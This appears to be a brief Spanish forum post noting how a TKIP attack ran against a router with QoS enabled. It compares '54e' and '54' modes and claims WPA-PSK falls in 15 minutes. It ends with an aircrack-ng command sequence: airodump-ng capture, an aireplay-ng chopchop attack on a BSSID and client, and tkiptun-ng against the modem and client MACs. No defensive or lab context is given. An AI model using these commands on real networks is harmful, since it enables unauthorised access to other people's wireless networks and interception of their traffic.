los modem parece que trae el QOS activado otra vez
he probado tkiptun-ng
y ha comenzado a comprobar los numeros y asalido Eapol 60 segundos como el wps

QOS activado 54e
QOS no activado 54
wpa psk 54e con QOS wpa en 15 minutos
airodump-ng mon0
aireplay-ng -4 -a bssid -c cliente mon0
tkiptun-ng -a mac del modem -h mac del cliente mon0